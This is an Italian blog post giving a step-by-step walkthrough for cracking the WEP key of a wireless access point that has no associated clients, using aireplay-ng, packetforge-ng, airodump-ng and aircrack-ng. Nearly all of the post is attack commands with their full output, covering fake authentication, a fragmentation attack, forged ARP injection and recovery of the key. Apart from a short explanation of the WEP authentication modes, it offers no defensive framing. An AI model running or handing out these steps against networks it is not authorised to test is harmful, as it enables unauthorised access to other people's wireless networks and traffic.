WEP cracking di un AP senza clients wireless
by admin on May.12, 2010, under Hacking, Linux, Networking, Sicurezza
Con WEP sono possibili due metodi di autenticazione: Open System e Shared Key.
Nella modalità Open System, il client WLAN non sono tenuti a fornire le proprie credenziali all’ Access Point durante l’autenticazione.
Di conseguenza, ogni client, indipendentemente dalle sue chiavi WEP, può autenticarsi con l’ Access Point e quindi tenta di associarsi. In effetti, non si verifica alcuna autenticazioni (nell’autentico senso del termine).
In seguito ad autenticazione ed associazione, WEP può venire usato per crittare i data frames.
A questo punto, il client deve necessariamente possedere le corrette chiavi.
Ad un osservazione superficiale, potrebbe sembrare che una autenticazione basata su Shared Key sia più sicura di una autenticazione Open System.
Invece, capita piuttosto il contrario.
È notoriamente possibile ottenere la chiave usata per l’ handshake catturando i frames relativi alla negoziazione nella autenticazione basata su Shared Key. Pertanto, è paradossalmente consigliabile impostare per l’autenticazione WEP, Open System piuttosto che Shared Key.
Sono numerosi i casi in cui una rete wireless si trova senza clients wireless associati e non si verificano richieste ARP provenienti dalla sezione cablata.
Considerando una situazione del genere (e riferendosi ad una interfaccia Atheros), è possibile ottenere rapidamente la chiave WEP necessaria attraverso le seguenti fasi:
- Attivazione della interfaccia wireless in monitor mode su un canale specifico
- Utilizzo di aireplay-ng per effettuare una autenticazione fasulla con l’ access point
- Utilizzo di un attacco “fragmentation” tramite aireplay-ng per ottenere il PRGA
- Utilizzo di packetforge-ng per creare un pacchetto arp usando il PRGA ottenuto nella fase precedente
- Avvio di airodump-ng sul channel dell’ AP per raccogliere i nuovi IVs unici
- Iniezione del pacchetto arp creato nella fase 4
- Esecuzione di aircrack-ng per ottenere la key utilizzando gli IVs raccolti
Fase 1: Attivazione della interfaccia wireless in monitor mode su un canale specifico
# airmon-ng start wifi0
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath1 Atheros madwifi-ng VAP (parent: wifi0)
# iwconfig ath1 channel 11
Fase 2: Utilizzo di aireplay-ng per effettuare una autenticazione fasulla con l’ access point
Perché un access point accetti un pacchetto, l’indirizzo MAC sorgente deve già essere associato. Se tale indirizzo MAC sorgente non risultasse associato, l’ AP ignorerebbe il pacchetto ed emetterebbe un pacchetto “DeAuthentication”.
In tale stato, nessun nuovo IV viene creato in quanto l’ AP semplicemente ignora tutti i pacchetti iniettati.
Per associarsi ad un access point, si può usare una falsa autenticazione:
# aireplay-ng -1 0 -e STRANGER -a 00:18:4D:D2:F0:06 -h 00:15:AF:1E:44:65 ath1
direttiva in cui
- -1 significa falsa autenticazione
- 0 significa il tempo di riassociazione espresso in secondi
- -e STRANGER rappresenta il nome della wireless
- -a 00:18:4D:D2:F0:06 è il MAC address dell’ access point
- -h 00:15:AF:1E:44:65 è il MAC address della nostra wireless card
- ath1 rappresenta il nome della relativa interfaccia wireless
Un riscontro positivo del precedente comando può presentarsi così:
12:34:36 Waiting for beacon frame (BSSID: 00:18:4D:D2:F0:06) on channel 11
12:34:36 Sending Authentication Request (Open System)
12:34:36 Authentication successful
12:34:36 Sending Association Request
12:34:36 Association successful
Fase 3 - Utilizzo di un attacco “fragmentation” tramite aireplay-ng per ottenere il PRGA
Lo scopo di un “fragmentation attack” è quello di ottenere un file PRGA (pseudo random generation algorithm). Il PRGA non corrisponde alla chiave WEP e non può venire utilizzato per decrittare i pacchetti. Tuttavia, può venire utilizzato per creare nuovi pacchetti da iniettare.
# aireplay-ng -5 -b 00:18:4D:D2:F0:06 -h 00:15:AF:1E:44:65 ath1
12:39:02 Waiting for beacon frame (BSSID: 00:18:4D:D2:F0:06) on channel 11
12:39:02 Waiting for a data packet...
Size: 78, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:18:4D:D2:F0:06
Dest. MAC = 01:80:C2:00:00:00
Source MAC = 00:18:4D:D2:F0:06
0x0000: 0842 0000 0180 c200 0000 0018 4dd2 f006 .B..........M...
0x0010: 0018 4dd2 f006 a0ca f926 7100 1eea cec0 ..M......&q.....
0x0020: a4bf 0708 638c aa03 2899 6825 70b8 6c54 ....c...(.h%p.lT
0x0030: f029 18e5 fe0c 37ea 70b4 3918 764a dbd5 .)....7.p.9.vJ..
0x0040: 2f35 40c5 fdb9 4255 3ac0 ce95 1414 /5@...BU:.....
Use this packet ? y
Saving chosen packet in replay_src-0512-123902.cap
12:39:36 Data packet found!
12:39:36 Sending fragmented packet
12:39:36 Got RELAYED packet!!
12:39:36 Trying to get 384 bytes of a keystream
12:39:36 Got RELAYED packet!!
12:39:36 Trying to get 1500 bytes of a keystream
12:39:36 Got RELAYED packet!!
Saving keystream in fragment-0512-123936.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
Il file “fragment–0512-123936.xor” può quindi venire usato nell’ambito del successivo step per generare un pacchetto arp
Fase 4 - Utilizzo di packetforge-ng per creare un pacchetto arp usando il PRGA ottenuto nella fase precedente
Il PRGA è stato registrato nel file “fragment-0512-123936.xor”. Possiamo fare uso di tale PRGA per generare un pacchetto da iniettare. Genereremo nella fattispecie un pacchetto arp. L’obiettivo consiste nel fare in modo che l’ access point lo ritrasmetta in broadcast. Quando questo accade, si ottiene un nuovo IV. Tutti i nuovi IVs così ottenuti serviranno al cracking della chiave WEP.
Per prima cosa, si genera il pacchetto arp da iniettare tramite:
# packetforge-ng -0 -a 00:18:4D:D2:F0:06 -h 00:15:AF:1E:44:65 -k 255.255.255.255 -l 255.255.255.255 -y fragment-0512-123936.xor -w arp-request
Wrote packet to: arp-request
Un riscontro di quanto ottenuto è immediatamente possibile tramite:
# tcpdump -n -vvv -e -s0 -r arp-request
reading from file arp-request, link-type IEEE802_11 (802.11)
12:46:21.849747 WEP Encrypted 258us BSSID:00:18:4d:d2:f0:06 SA:00:15:af:1e:44:65 DA:ff:ff:ff:ff:ff:ff Data IV:71270c Pad 0 KeyID 0
Fase 5 - Avvio di airodump-ng sul channel dell’ AP per raccogliere i nuovi IVs unici
Possiamo aprire una nuova sessione di console per catturare gli IVs generati impartendovi:
# airodump-ng -c 11 --bssid 00:18:4D:D2:F0:06 -w capture ath1
[...]
Fase 6 - Iniezione del pacchetto arp creato
Nella sessione di console usata per generare il pacchetto arp, si dia:
# aireplay-ng -2 -r arp-request ath1
No source MAC (-h) specified. Using the device MAC (00:15:AF:1E:44:65)
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:18:4D:D2:F0:06
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:15:AF:1E:44:65
0x0000: 0841 0201 0018 4dd2 f006 0015 af1e 4465 .A....M.......De
0x0010: ffff ffff ffff 8001 0c27 7100 87d4 d91b .........'q.....
0x0020: e375 7974 2bd8 6af8 86ac a7c4 ee5a 94e4 .uyt+.j......Z..
0x0030: 746f 2d5d 9b63 8d8e e4cb 9422 6278 2463 to-].c....."bx$c
0x0040: 468e 1bca F...
Use this packet ? y
Saving chosen packet in replay_src-0512-124621.cap
You should also start airodump-ng to capture replies.
End of file.
Fase 7 - Esecuzione di aircrack-ng per ottenere la key utilizzando gli IVs raccolti
Avviamo una terza sessione console e diamo:
# aircrack-ng -b 00:18:4D:D2:F0:06 capture*.cap
Opening capture-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 60731 ivs.
Aircrack-ng 1.0
[00:00:00] Tested 673 keys (got 60731 IVs)
KB depth byte(vote)
0 3/ 7 D2(69888) C9(69376) 20(69120) 9B(69120) 5F(68352) 78(68096) 69(67840) 95(67840) 70(67584) 1C(67328)
1 1/ 1 97(69888) 07(69632) B8(69632) 76(69376) 78(69120) 33(68864) A7(68096) 70(67840) 36(67584) CB(67328)
2 0/ 1 7E(88576) C5(71680) 0E(69120) 3E(69120) 36(68864) A8(68864) 90(68608) CF(68608) FE(68608) 60(68352)
3 3/ 4 B2(71680) 81(70144) 76(68608) 12(68096) 33(68096) 36(67584) C2(67584) 70(67072) C7(66816) 61(66560)
4 3/ 4 2C(71168) D4(70144) 2F(69632) 6A(69120) A8(69120) 17(68608) 7C(68608) EF(68352) 25(68096) AC(68096)
KEY FOUND! [ C1:90:2D:F3:F3:44:32:AB:DB:43:02:CD:74 ]
Decrypted correctly: 100%
Ecco trovata la chiave WEP!
